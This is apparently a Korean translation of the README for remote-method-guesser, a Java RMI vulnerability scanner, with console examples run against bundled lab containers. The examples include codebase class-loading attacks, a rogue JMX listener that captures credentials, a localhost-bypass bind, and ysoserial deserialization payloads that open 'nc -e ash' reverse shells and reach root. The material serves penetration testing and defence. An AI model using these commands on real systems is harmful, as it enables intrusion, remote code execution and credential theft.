
Java RMI 취약점 스캐너
remote-method-guesser (rmg)는 Java RMI 취약점 스캐너로, Java RMI 엔드포인트에서 일반적인 보안 취약점을 식별하고 확인하는 데 사용할 수 있습니다.

remote-method-guesser는 Black Hat USA2021의 Arsenal 세션에서 발표되었습니다. 해당 세션의 녹화 영상과 관련 슬라이드는 공개되어 있으며, 아래 링크에서 확인할 수 있습니다.
remote-method-guesser 저장소에는 Java RMI 열거 및 공격을 연습할 수 있는 세 가지 예시 서버가 포함되어 있습니다.
rmg-example-server는 remote-method-guesser를 사용하여 열거 및 공격할 수 있는 일반적인 RMI 서비스를 노출합니다.
rmg-ssrf-server는 SSRF 공격에 취약한 HTTP 서비스를 노출하며, localhost에서만 수신 대기하는 RMI 서비스를 실행합니다. 이는 remote-method-guesser의 --ssrf 및 --ssrf-response 옵션을 연습하는 데 사용할 수 있습니다.
spring-remoting-server는 Spring Remoting을 통해 생성된 RMI 인터페이스를 노출합니다. 이는 일반적인 Java RMI와 약간 다르며, remote-method-guesser의 관련 Spring Remoting 통합을 테스트하는 데 사용할 수 있습니다.
모든 서버는 GitHub Container Registry 내에서 컨테이너로 제공됩니다.
rmg는 maven 프로젝트이며 설치 과정은 간단합니다. maven이 설치된 상태에서 다음 명령어를 실행하면 실행 가능한 .jar 파일을 생성할 수 있습니다.```console
$ git clone https://github.com/qtc-de/remote-method-guesser
$ cd remote-method-guesser
$ mvn package
각 [릴리스](https://github.com/qtc-de/remote-method-guesser/releases)에 대해 미리 빌드된 패키지를 사용할 수도 있습니다.
개발 브랜치에 대한 미리 빌드된 패키지는 자동으로 생성되며 *GitHub* [actions 페이지](https://github.com/qtc-de/remote-method-guesser/actions)에서 찾을 수 있습니다.
*rmg*는 *ysoserial*을 종속성으로 포함하지 않습니다. *ysoserial* 지원을 활성화하려면 ``ysoserial.jar`` 파일의 경로를 추가 인수(예: ``--yso /opt/ysoserial.jar``)로 지정하거나 프로젝트를 빌드하기 전에 [rmg 설정 파일](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) 내의 기본 경로를 변경해야 합니다.
*rmg*는 *bash*에 대한 자동 완성도 지원합니다. 자동 완성을 사용하려면 [completion-helpers](https://github.com/qtc-de/completion-helpers) 프로젝트가 설치되어 있어야 합니다. 올바르게 설정된 경우 [완성 스크립트](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/resources/bash_completion.d/rmg)를 ``~/.bash_completion.d`` 폴더에 복사하기만 하면 자동 완성이 활성화됩니다.```console
$ cp resources/bash_completion.d/rmg ~/bash_completion.d/
다음에서는 각 사용 가능한 작업에 대한 간단한 예제가 제공됩니다. 보다 자세한 설명을 원하시면, rmg 및 Java RMI에 대한 더 상세한 정보를 포함하는 문서 폴더를 읽어보는 것이 좋습니다. 제시된 모든 예제는 rmg-example-server와 rmg-ssrf-server를 기반으로 합니다. 두 서버 모두 이 저장소의 docker 폴더에 포함되어 있으며, Java RMI 열거를 연습하는 데 사용할 수 있습니다. 해당 컨테이너를 직접 빌드하거나 GitHub Container Registry에서 직접 로드할 수 있습니다.```console [qtc@devbox ~]$ rmg -h usage: remote-method-guesser [-h] action ...
rmg v4.0.0 - a Java RMI Vulnerability Scanner
positional arguments:
action
bind Binds an object to the registry thats points to listener
call Regulary calls a method with the specified arguments
codebase Perform remote class loading attacks
enum Enumerate common vulnerabilities on Java RMI endpoints
guess Guess methods on bound names
known Display details of known remote objects
listen Open ysoserials JRMP listener
objid Print information contained within an ObjID
rebind Rebinds boundname as object that points to listener
roguejmx Creates a rogue JMX listener (collect credentials)
scan Perform an RMI service scan on common RMI ports
serial Perform deserialization attacks against default RMI components
unbind Removes the specified bound name from the registry
named arguments: -h, --help show this help message and exit
#### bind, rebind and unbind
``bind``, ``rebind`` 또는 ``unbind`` 액션을 사용하여 *RMI registry* 내에서 사용 가능한 *바인딩된 이름*을 수정할 수 있습니다.
이는 localhost 제한을 우회하고 원격 사용자가 바인딩 작업을 수행할 수 있게 하는 ``CVE-2019-2684``를 확인하는 데 특히 유용합니다.
``bind`` 또는 ``rebind`` 액션을 사용할 때 *remote-method-guesser*는 기본적으로 *jmx* 서버에서 사용되는 *RemoteObject*인 ``javax.management.remote.rmi.RMIServerImpl_Stub`` *RemoteObject*를 바인딩합니다.
또한, *RemoteObject*가 위치한 해당 *TCP endpoint*의 주소를 지정해야 합니다(클라이언트가 바인딩된 객체를 사용하려고 할 때 연결해야 하는 주소).```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - my-object
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
remote-method-guesser의 call 액션을 사용하면 Java 코드를 작성하지 않고도 원격 메서드를 호출할 수 있습니다. 원격 서버에 String execute(String cmd) 메서드가 존재한다고 가정해 보세요. 이 메서드는 유망해 보이며 일반적인 Java RMI 호출을 사용하여 호출하고 싶을 수 있습니다. 이는 다음 명령어를 사용하여 수행할 수 있습니다:```console
[qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -
리모트 메서드를 호출해도 기본적으로 출력이 생성되지 않습니다. ``call`` 동작에 의해 생성된 출력을 처리하려면 *remote-method-guesser*의 [플러그인 시스템](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs/rmg/plugin-system.md)을 사용하여 ``ResponseHandler``를 등록하거나 기본 `GenericPrint` 플러그인을 사용해야 합니다. `GenericPrint`는 *remote-method-guesser*에 기본적으로 포함되어 있으며 `--show-response` 옵션을 사용하여 활성화할 수 있습니다.```console
[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response
[+] uid=0(root) gid=0(root) groups=0(root)
call 액션에서 제공된 인수들은 다음 템플릿에 삽입되어 Java 표현식으로 평가됩니다:
new Object[]{ arg1, arg2, arg3, ... }. 따라서 제공된 인수들이 이 패턴에 맞는지 확인해야 합니다. 예를 들어,
"id"를 인수로 사용하면 오류가 발생합니다. 인수가 remote-method-guesser에 id로 전달되고 결과적으로
new Object[]{ id } 표현식은 유효한 Java 표현식이 아니기 때문입니다. 대신 '"id"'를 사용해야 합니다. 이는 new Object[]{ "id" }로 이어지며,
이는 유효합니다.
또한 기본 타입은 해당 객체 표현(예: 5 대신 new Integer(5))으로 지정해야 합니다. 그렇지 않으면
Java 표현식에 의해 생성되는 Object[] 배열 내에서 사용할 수 없습니다. RMI 호출 중에는 해당 인수들이 의도된 대로 사용되어
지정한 메서드 시그니처에 맞게 됩니다. 더 복잡한 사용 사례는 remote-method-guesser의 플러그인 시스템을 사용하여
사용자 정의 ArgumentProvider를 정의할 수도 있습니다.
Java RMI는 *코드베이스(codebase)*라는 기능을 지원합니다. 이 기능을 사용하면 클라이언트와 서버가 RMI 호출 중에 URL을 지정하여 동적으로 알 수 없는 클래스를 로드할 수 있습니다. RMI 서버가 클라이언트가 지정한 코드베이스를 수락하는 경우, 클라이언트가 RMI 통신 중에 악성 Java 클래스를 제공하면 원격 코드 실행으로 이어질 수 있습니다.
RMI 서버의 코드베이스 구성은 다양한 구성 요소(Activator, DGC, Registry, Application Level)마다 다를 수 있습니다.
remote-method-guesser는 codebase 액션과 함께 --signature <method> (애플리케이션 레벨),
--component act (activator), --component dgc (분산 가비지 컬렉터) 또는 --component reg (RMI 레지스트리) 중 하나를 사용하여
각 구성 요소를 개별적으로 테스트할 수 있습니다.
Application Level:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service [+] Attempting codebase attack on RMI endpoint... [+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call. [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14 [+] Codebase attack probably worked :) [+] [+] If where was no callback, the server did not load the attack class ExampleClass.class. [+] The class is probably known by the server or it was already loaded before. [+] In this case, you should try a different classname.
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 - 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -
*RMI Registry*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.
[+]
[+] Caught ClassCastException during codebase attack.
[+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:09] "GET /ExampleClass.class HTTP/1.1" 200 -
분산 가비지 컬렉터:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc [+] Attempting codebase attack on DGC endpoint... [+] Using class Example with codebase http://172.17.0.1:8000/ during clean call. [+] [+] Caught ClassCastException during codebase attack. [+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -
*Activator*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.
[+]
[+] Caught IllegalArgumentException during codebase attack.
[+] Codebase attack was probably successful :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:27:13] "GET /ExampleClass.class HTTP/1.1" 200 -
enum 작업은 지정된 Java RMI 엔드포인트에 대해 여러 검사를 수행하고 해당 결과를 출력합니다. enum 작업이 생성하는 출력에 대한 자세한 설명은 해당 문서 페이지를 참조하세요.```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.example/well-hidden-development-folder/
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
#### guess
``guess`` 액션을 사용할 때, *remote-method-guesser*는 메서드 해시를 전송하여 기존 원격 메서드를 식별하려고
시도합니다. 이 작업에는 해당 메서드 정의가 포함된 워드리스트가 필요합니다.
*remote-method-guesser*는 빌드 단계에서 ``.jar`` 파일에 포함된 몇 가지 기본 워드리스트를 제공합니다.
워드리스트 위치는 [rmg 구성 파일](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties)을 수정하거나 ``--wordlist-file`` 또는 ``--wordlist-folder`` 옵션을 사용하여
덮어쓸 수 있습니다. 인수가 0개인 메서드는 추측 중에 건너뛰어집니다. 이는 실제 메서드 호출로
서버 측에서 이어지기 때문입니다. ``--zero-arg`` 스위치를 사용하면 인수가 0개인 메서드에 대한 추측을 활성화할 수 있습니다.```console
[qtc@devbox ~]$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
enum 액션을 수행할 때, remote-method-guesser는 RMI registry에서 사용 가능한 bound names을 각각 known 또는 unknown으로 표시합니다. 이 결정은 해당 bound name에 의해 구현된 클래스와 해당 클래스가 remote-method-guesser 저장소에 포함된 known endpoint list에 포함되어 있는지 여부에 따라 달라집니다. bound name이 known으로 표시되면 해당 클래스에 대해 known 액션을 사용할 수 있습니다. 이를 통해 사용 가능한 원격 메서드, 일반 설명 및 가능한 취약점과 같은 해당 클래스에 대한 정보를 반환합니다.```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter
알려진 클래스 목록, 해당 설명 및 알려진 취약점 목록은 완전하지 않습니다.
향후에는 더욱 늘어나길 바라며, 다른 사용자의 기여에 의해 성장합니다. 현재 누락된 클래스를 구현하는 *RMI 엔드포인트*를 발견하고 충분한 정보(설명 및 사용 가능한 메서드)를 갖고 있다면, 언제든지 이슈를 생성하거나 풀 리퀘스트를 제출해 주세요.
#### listen
때로는 들어오는 *RMI* 연결에 역직렬화 페이로드를 제공하는 악성 *JRMPListener*를 제공해야 할 필요가 있습니다.
이러한 리스너를 처음부터 작성할 필요는 없습니다. [ysoserial 프로젝트](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java)에서 이미 제공하고 있기 때문입니다.
*remote-method-guesser*는 *ysoserial* 구현을 둘러싼 래퍼를 제공하여, 일반적인 *rmg* 구문을 사용하여 *JRMPListener*를 실행할 수 있습니다.```console
[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 "touch /dev/shm/test"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...
objid 작업을 사용하면 ObjID에 대한 더 자세한 정보를 표시할 수 있습니다. 각 RemoteObject는 RMI 런타임에 의해 내보내질 때 ObjID가 할당됩니다. ObjID 값을 알려면 RemoteObject와 통신하는 데 필요하며, 이것이 일반적으로 RMI 레지스트리가 필요한 이유입니다. RMI 레지스트리는 각 바인딩된 이름에 대한 ObjID를 포함하며, remote-method-guesser는 enum 작업 중에 이를 표시합니다.```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]
``ObjID`` 값은 다양한 구성 요소로 이루어져 있습니다. 이러한 구성 요소는 해당 ``ObjID``에 대해 ``objid`` 액션을 사용할 때 사람이 읽을 수 있는 형태로 표시됩니다:```console
[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'
[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+]
[+] ObjNum: 1096154566158180646
[+] UID:
[+] Unique: -734386537
[+] Time: 1638254048332 (Nov 30,2021 07:34)
[+] Count: -32759
표시된 정보의 대부분은 유용하지 않지만, Time 값은 흥미로울 수 있습니다. 이 값은 RemoteObject가 생성된 시간을 포함합니다. 따라서 RMI 서버의 업타임과 같은 것을 확인할 수 있습니다.
때로는 JBoss, Solr, Tomcat 등과 함께 Java RMI 구성 요소를 제공하는 서비스를 식별할 수 있지만, 해당 호스트에 대해 전체 포트 스캔을 수행하고 싶지 않을 수 있습니다. 이러한 상황에서 scan 액션은 유용할 수 있습니다. 이는 일반적인 RMI 포트만 빠르게 스캔하여 RMI 서비스를 식별하려고 시도합니다:```console
[qtc@devbox ~]$ rmg scan 172.17.0.2
[+] Scanning 112 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [119 / 119] [#############################] 100%
[+]
[+] Portscan finished.
기본적으로 스캔 작업은 미리 구성된 일반적인 *RMI 포트* 목록을 사용합니다. 스캔할 포트 목록을 사용자 정의하려면 ``--ports`` 옵션을 사용할 수 있습니다. 이 옵션은 포트 사양에 대해 일반 숫자와 숫자 범위를 허용합니다. 대시 문자(``-``)는 기본 포트 목록을 참조하는 데 사용할 수 있습니다.```console
[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.
scan 작업이 단순하고 신뢰할 수 없는 방식으로 구현되어 있습니다. 가능하다면 nmap과 같은 도구를 사용하여 전용 포트 스캔을 수행해야 합니다. 하지만 scan 작업은 RMI 포트를 찾는 데 빠른 정보를 제공할 수 있습니다.
roguejmx 작업은 시스템에서 들어오는 연결의 자격 증명을 캡처하는 JMX 리스너를 생성합니다. 리스너를 생성한 후, remote-method-guesser는 상호작용에 필요한 ObjID 값을 출력합니다.```console
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
``bind`` 및 ``rebind`` 연산을 사용하여 이 리스너를 *RMI 레지스트리*에 주입하고 서버에 연결하는 다른 사용자를 기다릴 수 있습니다:```console
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass
[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials
들어오는 연결은 리스너가 기록합니다:```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [+] Got incoming call for newClient(...) [+] Username: admin [+] Password: s3crEt!
*remote-method-guesser*는 기본적으로 *bind* 작업 및 가짜 *JMX* 서버에 대해 *ObjID* 값 ``[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]``을 사용합니다. 따라서 위와 같이 수동으로 *ObjID*를 지정할 필요는 없습니다. 명령줄 인수 또는 *remote-method-guesser*의 설정 파일 내에서 기본 *ObjID* 값을 변경할 수 있습니다.
가짜 *JMX* 서버는 기본적으로 각 수신 연결에 대해 액세스 예외(잘못된 자격 증명)를 반환하지만, 수신 연결을 다른 *JMX* 인스턴스로 전달할 수도 있습니다. 이렇게 하면 서비스를 중단하지 않고 수신 클라이언트 연결에서 자격 증명을 얻을 수 있습니다. 연결을 전달하려면 추가 인수로 해당 대상을 지정해야 합니다. 대상은 두 가지 방법으로 지정할 수 있습니다:
1. RMI 레지스트리의 IP 주소와 포트, 그리고 해당 *JMX 인스턴스*의 바인드 이름: ```console
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] --> Forwarding connections to: 172.17.0.2:9010:jmxrmi
[+]
#### serial
*Java RMI*는 클라이언트-서버 통신에서 *Java 직렬화 객체*를 사용합니다. 이로 인해 *역직렬화 공격*에 취약해질 수 있습니다. 이러한 공격은 다양한 *RMI 구성 요소*를 대상으로 할 수 있습니다:
* 잘 알려진 *RMI 구성 요소* (*RMI 내부*)
* *RMI 레지스트리*
* *DGC*
* *Activator*
* 사용자 정의 *RemoteObjects* (*애플리케이션 수준*)
##### 잘 알려진 RMI 구성 요소
현대의 *RMI 서버*는 이러한 *잘 알려진 RMI 구성 요소*에 *역직렬화 필터* (*JEP290*)를 적용하지만, 구형 서버는 여전히 *역직렬화 공격*에 취약할 수 있습니다. *remote-method-guesser*는 ``serial`` 동작을 사용하여 이를 확인할 수 있으며, 이 동작은 *Activator*, *분산 가비지 컬렉터* (*DGC*) 또는 *RMI 레지스트리*에 대한 역직렬화 공격을 수행할 수 있습니다.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] Caught ClassCastException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:46209.
id
uid=0(root) gid=0(root) groups=0(root)
RMI 레지스트리의 경우, JRMPClient 또는 An Trinh 바이패스 가젯을 사용하여 역직렬화 필터를 우회할 수 있습니다. 이러한 가젯은 더 이상 역직렬화 필터를 적용하지 않는 아웃바운드 RMI 채널을 생성합니다. 이 채널에서는 평소처럼 역직렬화 공격을 적용할 수 있지만, 두 우회 방법 모두 최신 버전의 Java RMI에서 패치되었습니다.```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] Caught javax.management.BadAttributeValueExpException during deserialization attack. [+] This could be caused by your gadget an the attack probably worked anyway. [+] If it did not work, you can retry with --stack-trace to see the details.
[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash' [+] Creating ysoserial payload... done. [+] Creating a JRMPListener on 172.17.0.1:4444. [+] Handing off to ysoserial... Have connection from /172.17.0.2:55470 Reading message... Sending return with payload for obj [0:0:0, 123] Closing connection
[qtc@devbox ~]$ nc -vlp 4445 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45429. id uid=0(root) gid=0(root) groups=0(root)
``enum`` 작업 중에, *remote-method-guesser*는 *RMI 엔드포인트*(레거시 *RMI 컴포넌트*)에 *Activator*가 존재하는지 알려줍니다.
*Activation system*의 기본 구현은 *Activator RemoteObject*에 대한 역직렬화 필터를 구현하지 않습니다. 따라서,
*Activator* 엔드포인트에 대한 역직렬화 공격은 가장 최신 *Java 버전*에서도 항상 작동해야 합니다.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act
[+] Creating ysoserial payload... done.
[+]
